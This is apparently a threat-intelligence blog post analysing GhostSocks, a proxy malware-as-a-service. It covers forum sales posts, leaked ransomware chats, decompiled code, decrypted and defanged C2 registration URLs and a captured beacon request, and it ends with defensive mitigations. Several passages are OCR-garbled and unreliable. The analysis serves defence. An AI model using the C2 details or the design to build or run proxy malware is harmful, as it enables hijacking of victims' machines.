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Overview

On October 15th, 2023, a threat actor going by the handle GhostSocks would make a sales post on the
Russian cybercrime forum xss[.Jis selling GhostSocks. The thread detailed a new Malware-as-a-service
(MAAS) that enables threat actors to convert compromised devices into residential proxies. The post then
promoted the MAAS's ability to bypass anti-fraud mechanisms, allowing threat actors to capitalize on the
victim's machine.

Oct 15, 2023

Lena: 150
KonTakTbr: https://t.me/ghostsocks
GhostSocks - P b "CBOO" CETh YCTPOWMCTE B HacTHytO, MacLuTaBupyemyto u ynpasnsemyto SOCKSS5 npokcu-cers.

370 nAEaNBHLII BAPUAHT ANA TEX, KTO MLLET 3 exTnBHOE, BE3ONACHOE N IKOHOMWYHOE PELLIEHNE ANA yNpasaeHna BonbLumm nynom "ycTpoicTs".

Mouemy 370 Beiroaro
+ bes H ™ B B Cepsepax: 3abyasTe 0 3aTpaTax Ha cepeepbl, 3 6anaHCMpOBKa Harpysku 0BeCNeYNT MaKCMManbHYHO CTaBUAbHOCT NOAKNHOHEHWIL.
+ Makcumanbnan Crabunbiocre: Mpokcn paboTatoT crabunero Gnaroaaps YacTeiM 0BHOBAEHNAM MyNa CEPBEPOS.
Ll P Ynp iTe ycTpoiicTBamu 1 CyB-akkayHTamm C 0AHOI NaHenu.

+ Yucrora pesmaeHTcKmUX NpoKcu: Mok NOAHATEI Ha “BaLLIMX” YCTPOIICTBAX - KPUCTANBHO YNCTLI ANA NOBLIX 3HTU- GPOA CHCTEM.

Ocobennoctn

+ Mpocrora Hactpoiikun
+ Boicokas ckopoctb m crabunbhocts; Cepeuc He OrpaHNYNBAET CKOPOCTS NPOKCH.

. b ; OtAnyHo WAET ANA TEX KTO A yc C PasHbIX UC 3
+ O1amuHbIV ypoBeHb GesonacHocTh v aHoHMmMHOCTH; Cepenc He BeAeT aBCONFOTHO HUKAKUX NI0TOB, KaCAIOLLMXCA NCNONB30BAHNA NPOKCH.

. B cnyudae asapwii & 4aTa ueHTpax, 610KMPOBOK AOMEHOE U TA - "NPOKCH CEPBEPA" BCErAa CMOTYT HalTH CBOBOAHBIE M AOCTYNHLIE K NOAKIIOYEHWMIO PECYPCbl.
* API: BozmoxHoCTe p06aBnaTe/yaanate socksS norvH/napons, EbIrpyska NPokcK No reo u Apyroe. MojoiAET AnA MHTErpaLuK C APYTMMU NPOEKTAMM, BKAKOYAA NPOKCH LLOMNEI.

Texumueckas yacte

+ JoctynHel 6ungel & popmarax x32 WIN EXE v DLL / x32 UNIX Executable.
+ Ucnonesyemenii sseik — Go "Hatus"
+ Bec 6unga: go 3mb nepea o6¢yckayueii n go 8mb nocne.
« Bce nogkr no, neckoneko komang: Kill, Restart, Blacklist
« Bungel ne orpaborator & cyuae:
1. 3anycka ve kpunToBatoro 6mnaa
2. 3anycka Ha Taukax ¢ CHI IP
3. Ha TauKe Celyac 3anyueH CoKC
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Fig 1. GhostSocks Sales Thread

Translation:
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GhostSocks Sales Thread

GhostSocks allows users to transform their network of devices into a
private, scalable, and manageable SOCKS5 proxy network.

It's ideal for those looking for an efficient, secure, and cost-effective
solution for managing a large pool of devices.

Why It's Profitable

No External Servers Required: Forget about additional server costs, and
load balancing ensures maximum connection stability.

Maximum Stability: Proxies operate reliably thanks to frequent server
pool updates.

Centralized Management: Manage devices and sub-accounts from a single
panel.

Residential Proxy Cleanliness: Proxies hosted on your devices are crystal
clear for any anti-fraud systems.

Features

Ease of Setup

High Speed and Stability: The service does not limit proxy speed.

Ability to add sub-accounts; Ideal for those installing from multiple

sources.

Excellent security and anonymity; The service keeps absolutely no logs
regarding proxy usage.

Decentralized architecture; in the event of data center failures, domain
blocking, etc., "proxy servers" will always be able to find free and
accessible resources.

API: Ability to add/remove Socksb5 login/password, export proxies by geo,
and more. Suitable for integration with other projects, including proxy
shops.

Technical Part

Builds are available in x32 WIN EXE and DLL / x32 UNIX Executable




Language used: Native Go
Build size: up to 3 MB before obfuscation and up to 8 MB after.
All connected machines support several commands: Kill, Restart, Blacklist

Builds will not work in the following cases:
running a non-encrypted build

running on machines with a CIS IP

Socks is currently running on the machine

Fig 1.1 GhostSocks Sales Thread

Further posts would showcase the panel, highlighting its ability to create builds and manage proxies. In
addition to posts showcasing the product, the thread would consist of weekly developer updates and
customer reviews.

BUBSTLICKS T Tox (@
Menu Data
98 Dashboard
Proxy Data Geo Data Proxy Type
News Number of Online Proxie OF ountries Re ntial/Mobile/Hosting
I jes: 12 ® @ 8
| Data Total number of Online Proxies: m-8 1=-1 =-1 @=-1 =-1 0 1 mn
&) Build
€3 Ticket
Proxy Statistics Recent Proxies
P Country Zip Date First Added
185.244.24.41 NL 3012 2023-10-04 19:43:43
77.91.87.79 SE 10012 2023-10-04 19:43:36
185.220.101.62 DE 14621  2023-10-04 19:43:34
185.220.100.253 DE 97437  2023-10-04 19:43:34
38.97.116.244 us 02116 2023-10-04 19:43:34

Fig 2. Alook into GhostSocks Panel

GhostSocks would see a wide range of usage, from ransomware gangs to low-level cybercrime, as
supported by the BlackBasta chat logs leak in February 2025. The chat logs highlighted the ransomware
gang's interest in maintaining long-term network access, with discussion of using GhostSocks in combination
with Lumma Stealer.
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timestamp: 2024-06-17 16:00:39,

chat_id: !'BIJxdVvCxirwdeMdIiw:matrix.bestflowers247.online,
sender_alias: @usernamegg:matrix.bestflowers247.online,
message: BOoT 370 y DLL ghostsocks

timestamp: 2024-96-10 14:19:51,

chat_id: !BIxdVvCxirwdeMdIiw:matrix.bestflowers247.online,

sender_alias: @urito:matrix.bestflowers247.online,

message: > <@usernamegg:matrix.bestflowers247.online> [GhostSocksBuild.exe

crpoka nuGQTonkhYWLydanXLyrYRVNUkzGgP
4

{
timestamp: 2024-06-10 12:47:54,
chat_id: !'BIxdVvCxirwdeMdIiw:matrix.bestflowers247.online,
sender_alias: @usernamegg:matrix.bestflowers247.online,
message: GhostSocksBuild.exe

timestamp: 2024-06-19 14:43:06,
chat_id: !seUrrScjtGvjRVIpDN:matrix.bestflowers247.online,
sender_alias: @usernamegg:matrix.bestflowers247.online,
message: https://ghostsocks.net

ulan

OUXa lmNEKsNVcxE6B) zxC00gcEqGo 141Y

Fig 3. Leaked BlackBasta chat logs and their discussion of GhostSocks

GhostSocks' would largely not see widespread adoption until February 2024 after an announced partnership
with LummasStealer. In this partnership, Lumma clients could install GhostSocks and steal user data,
allowing them to further monetize the compromised device even post infection.
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Perncrpauws v onnara (BTC) noacnuckm Ha caiite - <« V LummaC2

https://ghostsocks.net
- onnarta ntoBoii Apyroit BaNOTOI Yepes cynnopT

Llena 3a mecau:

- 1505
« 1005 dna knuesmoe LummaC2

PS
Cmoum umems & SUa_% 4mo YEHQA 3@8ucum om Koau4Yecmesa npuoﬁpemasun.‘x CEPEEPOS, U OHG NPONOPLYUOHAABHO PACMEM EMECME C HUMU.
Obbiuro cpedHull hakmuveckuli oHnaliH & 3-5 pas merewe om sawezo OBLUEMO xoauvecmea HOCKoS.

Runtime 15.10.23

- scanner.to

KowTakTer: telegram admin, nnuHele cooBuyieHns Ha dopyme

Fig 4. Partnership posts from both ends, source:
https://x.com/g0njxa/status/1754630820650696875

GhostSocks continues to see ongoing activity even with Law Enforcement's disruption of LummaStealer.

Analysis

GhostSocks provides clients with the ability to build a 32 bit DLL or executable. Both binaries are coded in
Golang, with GhostSocks leveraging the open source garble project to obfuscate strings and symbols. These
strings are decrypted at runtime by calling a decrypt routine before usage.

C Reanalyze = Similar More

cda5f18be615ad27e0477c6d249d245d368aclde8leed8239a3e39814345c04d

ghostsocks_payload_cda5f18be615ad27e0477c6d249d245d368ac1deB81ee48239a3e39814345c04d.bin amoment ago

peexe

Fig 5. GhostSocks executable

GhostSocks notably does not implement a persistence mechanism, with it only handling the SOCKS5
functionality.
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while ( 1)
{
do

{

1 = sub_5F3A98();
18 = 8;
1 a;
v4 = runtime_convTstring(vl, SHIDWORD(v1));
v13 = (char *)&unk_87@FFF + 9587937;

."‘,4;

= (int)&dword_5F4480[2974988];
1;
1;
&v13;
sub_2E@CCA(*(_DWORD *)((char *)&unk_8D2FFF + 11787381), @, 2, (int)&v2e);
ghostsocks_get_c2_urls();

[Ts)
n

i
(o
|
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1 W T

.
2
v3;
.-
3

bR
OV U

=e;
=e;
= runtime_convTslice(v2z, v3, v5);
v16 = (char *)&unk_878FFF + 9467489;

~

!

Vi
(int)&dword_S5F4488[2974880];

v2 &v16;
sub_2E@CCO(*(_DWORD *)((char *)&unk_8D2FFF + 11707381), @, 2, (int)&v22);

= (*(int (__gostk #*#*)(_DWORD, int, int, int))(*al + 16))(al[1], v13, v11, v12);
if (vie )

o
|

o
-

= runtime_convTstring(vd, vI);

2 O) o

vl4 = (char *)&unk_878FFF + 9507937,
vl5 = v6;
V2@ = (int)&dword_SF448@[2974852];
\ = 1;
= 1;

Vil o= &14;
sub_2E@CCR(*(_DWORD *)((char *)&unk_8D2FFF + 11787381), @, 2, (int)&v20);
¥
while ( !(*(_DWORD (_ gostk **)(_DWORD, int))(al[2] + 16))(al[3]1, v&) );
e_3H5eQvL4_IlalWex(30000000000LL);
¥

}
BEEEOEN (2xSEDSFD) ;

1

Fig 6. Runtime execution loop

On execution, GhostSocks uses the mutex “start to run” to prevent multiple instances from being spawned.

e | mea v o o pas we e s
----- ® [00SED3SE v 0OF86 99020000 jbe ghostsocks_payload_cdasfisbecl5ad27e0477c6d249d245d368acldeslee48239a3e3981.
| ®(|00SED364 83EC 5C sub_esp,sC
E8 24670000 €all ghostsocks_payload_cda5f18be615ad27e0477c6d249d245d368aclde8lee48239a3e398.
B0424 mov eax,dword ptr ss:[esp] [esp]:"start to run"
®|00SED36F 8B4C24 04 mov ecx,dword ptr ss:
i e[ 005ED373 €74424 44 00000000 |mov dword ptr ss:flesp
| @Woump1  @Hoump2  @Mpump3  @Moump4  @loumps @ watch1  Iellocas  °3 s{f Jarore ghostsocks_payload_cdasf1sbe61sad27e0477c6d249d245d368ac1deslees8239a3e39814345C04d ~ Copy. 0DGE7S72
Address |Hex ASCIT A |LOALOEE: "253?’:‘ Eg gmﬁtsutks_pay'luad_umm d27e0477 ¢ deal1 4345c04d - copy.00SED3(
ZICEE P L o P e P e G| T S s Orrers

Fig 7. GhostSocks mutex, preventing multiple instances
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Part of the startup process involves locating and decrypting its relay servers. GhostSocks will attempt to

locate a configuration file in % TEMP%.

N we e ;

E—— E)
v19 = dx9f@XPPaq_HDalXyc7Q(*(_DWORD ’:‘)((char‘ *)&unk_8D2FFF + 117@8793), *(_DWORD *)((char *)&unk_8D2FFF + 117@8797));
SEEEN

A

09C99560

WWoump1  Wpump2 WWpump3 WWpump4  WWpbump5 @ watch1  Ix-llocals  °C Sﬂﬂ DODIFEEC | 00000028

Address | Hex ASCII ~
09C99560 |43 3A 5C 55(73 65 72 73|5C 4C 4F 43[41 4C 55 7E|C:\Users\LOCALU~
09C99570| 31 5C 41 70(70 44 61 74|61 5C 4C 6F(63 61 6C 5C|1\AppData\Local\ 09

nacaacanica a5 an 7nlsc &2 &F &FlGe &9 &7 nnlon nn an ool Temn\canfin. .

00000000
00000000

8| 00000000
FC | 00000000

Fig 8. GhostSocks attempting to locate it's dynamic configuration file

In the scenario that the configuration file cannot be found, it will fall back to a hardcoded config.

J
v

((s]

29 = *(_DWORD *)((char *)&unk_8D2FFF + 11686125);
#(_DWORD *)((char *)&unk_8D2FFF + 11686121);

v7 runtime_makeslice((int)&unk_87@FFF + 9508321, v29 >> 2, v29 >> 2);

v8 = v29 >> 2;
for (1 =0@; 1 < v3; ++1 )
1
if (w29 <=4 * 1)
runtime_panicIndex(v1g);
*(_DWORD *)(v7 + 4 * 1) = *(unsigned __intd *)(v32 + 4 * 1);

H

= runtime_slicerunetostring(@, v7, v&, v&);

result._r@[@] = strings_genSplit(v22, v23, (int)&unk_87@FFF + 9867573, 1, @, -1);
result._r@e[1] 25
result._r@[2]
result._r@[3]
result._re[4]
return result;

5.
Ve,

26;
a;
a;

Fig 9. GhostSocks fallback to hardcoded configuration

"C:\\Users\\LOCALU~1\\AppData\\Local\\Temp\\config"
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GhostSocks Encrypted Blob

h5HMtCSGttIBpx5M:cnx/6Dj/si04Mfg6
mAk .55T8QDf.1luo2cH3341W20G9. FZK1r
3m@uou66nl: Xci3vsWOHWEQAM1OnWolYV
3/aNmafAgpWuciiXv/PsfhEeoeMTBla9L
pLpZexgBr7nT-v7hfp6hiCQ1rNPysXJ8t
YEM-jM5rRhsepqzgQbbigolshuntR8Ge]
bwrwWqg,OrRhf8Et2cPtwJ8pcu®:ght/vc
R/HTfw4DkV6yCS.Z7R8zr0.00v2sM231Et
6Bx1.fbH6VS5E1ANY : OW33Sqn@y jo0KmSQ
zagwluge /MFbabGxpPZtilGJ/XYghZhces
rtlpCopFLgetOIrJs1-EDxrfIKviI7jreN
bsgTHtstT-NdtrWcke5THgHgSiffIsNPh
tbVnev9lirVcV,qGbhYg8tJBitEwKpAgk:
Wkq/0AG/4J792DK1isS.w012EXb10JF2K
us.PQO1TVe66ik6wiX.7xP9dZ71Xsl:5t
E36wp@TUVOUiL

Fig 9.1 GhostSocks fallback to hardcoded configuration

Upon decryption, we are returned the following C2 URLs.

GhostSocks Decrypted Blob

http://46[.18[.1232[.]1106:30001/api/helper-first-register,
http://46[.]18[.1236[.]161:30001/api/helper-first-register,
http://91[.]1212[.]1166[.]191:30001/api/helper-first-register,
http://91[.]1212[.]1166[.]19:30001/api/helper-first-register,
http://147[.145[.]1196[.1157:30001/api/helper-first-register,

Fig 9.2 Decrypted GhostSocks config (URLs Defanged)




GhostSocks will iterate over the servers until a successful connection is established, at which point
GhostSocks will provision the SOCKS5 proxy.

lFor ( i=8; 23> i3 i=vie+1)
16 = i,
ghostsocks_url = (unsigned __inté6 4)ghostsocks create_url(
if ( !'HIDWORD(ghostsocks_url) )
{

5 DWORD )runtlme nehobject((lmr)&unk 87BFFF + 9596993);
*y6 = &dword _SF4488[2977128];

.E[l] 15;

if ( *(_DWORD *)((char *)&unk_8D2FFF + 11869761) )

sub 108866(),

o )

5[2] = v7;
runtime_deferproc(vi);
if ((vE )
{
runtime_deferreturn(via);
return result;

socksurl_string = ghostsocks_extract_socksurl_from_response(class_object, response_obij);
surl_string._r@[8] )

) *)&result = *(_‘“_w_ *)socksurl_string._ro;
) #)&result + 1) =
runtime deferreturn( 11);

return result;
3
9 = sub_5F16D2();
if ( HIDWORD(v9) == *(_DWORD *)&socksurl_string._re[4] )
runtime_memequal(*(int *)socksurl_string._r@, v9, *(int *)&socksurl_string._r@[4]);

b
b
¥

J046ECO8 main._ptr AnYgaWw5.GetAvailableRelayServer:25 (SEF808) (Synchronized with IDA View-A, Hex View-1)
Fig 10. GhostSocks relay resolver loop

At this point, GhostSocks will randomly generate a password and username, which will be sent to the C2
server, configuring it for usage.

‘http://46[.18[.]1232[.]1106:30001/api/helper-first-register?
buildVersion=0pTk.PWh2DyJ&md5=&proxyPassword=&proxyUsername=&userld=
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GhostSocks Params

Description

buildVersion GhostSocks version.

md5 MD5 identifier hardcoded in the binazry.
proxyPassword Proxy passwozrd

proxyUsername Proxy username

userId UserId associated with GhostSocks client.

Fig 11. GhostSocks url parameters and significance

Assuming the build URL succeeds, GhostSocks will decrypt and pass an additional x-api-key header to the
request.

Woumpi  goump2  @Woump3  Poumps  WWpumps @ watchi  Ivellocals  °C syl
Address

FECFIEEY] 00665240 | ghostsocks_payload_cdasti8be615ad27 e0477c6d249d245d 1deslees 14345c04d - copy. 00665240
AC | 09C1C8AD
E 09C56:

" 3E0 | "X-Api-Key"

o |

9 09C521A0 | “http://46.8.232.106:30001/api/helper-first-registerzbuildversion=0pTk.Pwh2Dyl&mds=7bsd41ee36c66d41a0ceddbs 49b4
000000C8
co| 00000000

Fig 12. GhostSocks preparing the HTTP request with parameters and headers

GhostSocks First Register

09/22/25 08:30:22 PM [ Diverter]
ghostsocks_payload_cda5f18be615ad27e0477c6d249d245d368ac1de81ee48239a3e39814345c04d
- Copy.exe (8184) requested TCP 46.8.232.106:30001

09/22/25 ©08:30:22 PM [ HTTPListener80] GET /api/helper-first-register?
buildVersion=0pTk.PWh2DyJ&md5=&proxyPassword=&proxyUsername=&userId=HTTP/1.1

09/22/25 08:30:22 PM [ HTTPListener8@] Host: 46[.18[.]1232[.]106:30001
09/22/25 08:30:22 PM [ HTTPListener80] User-Agent: Go-http-client/1.1
09/22/25 08:30:22 PM [ HTTPListener80] X-Api-Key: cODO7jmY

09/22/25 08:30:22 PM [ HTTPListener80] Accept-Encoding: gzip

Fig 13. GhostSocks registration HTTP requst

Once a server returns a 200 status code indicating that our client has been successfully initiated,
GhostSocks will spawn a SOCKS5 connection using the open-source go-socks5 and yamux libraries.
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https://github.com/things-go/go-socks5
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relay servers

3. the customer will connect to the relay server with
the credentials they got through the web panel and
tunnel their traffic through the victim machine.

e P
1. the ghostsocks agent will _
initiate a connection to a relay f BN
o e
S server
Victims PC/ customers
ghostsocks

agent computer

- 4—»1‘4—»3@

.-/-.
ghostsocks
webserver user's browser

2. ghostsocks web server will receive a callback from
the relay server about the customers agent and supply
creds to access it through a relay server

Fig 14. GhostSocks system design
Future Outlook

GhostSocks shows no signs of halting development. They continue to maintain their platform, Malware, and
support channels. Even with Law Enforcement's seizure of XSS and LummasStealer infrastructure,
GhostSocks has shown no signs of shutting down. GhostSock’s however does appear to have reduced their

online presence with them no longer active on the new XSS forum. Synthient is unable to assess the
motivation for this decision.

Mitigation Strategies

Personal

¢ Don't install untrusted executables: GhostSocks relies on other Malware for initial access and
persistence.

Organizations

¢ Block GhostSock relay servers: GhostSocks uses a constant pool of unique relay servers to
establish the SOCKSS5 back-connect. Blocking and monitoring for connections to these outbound
servers can entirely block GhostSocks.

e Aggressive monitoring of SOCKSS5 traffic: GhostSocks and other Malware families favor SOCKS5
due to its versatility. Monitoring for the usage of this protocol can reduce future risks.

e Don't unquestioningly trust the IP Address: Threat actors take advantage of overconfident security
policies by using victim machines for fraudulent traffic. Just because the IP address is from a
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residential IP address does not mean it's safe.
Observables
Network and file observables can be found here.

Yara Rules

Yara rules can be found here.

Conclusion

GhostSocks is nothing novel; however, its growing popularity highlights a concerning behavior among threat
actors with double victimization. GhostSocks and other proxy malware allow for long-term network access by
being spread through an initial infection. These compromised devices are often listed on SocksShops, where
customers can buy access for as low as $.50 per day.

< Back to blog
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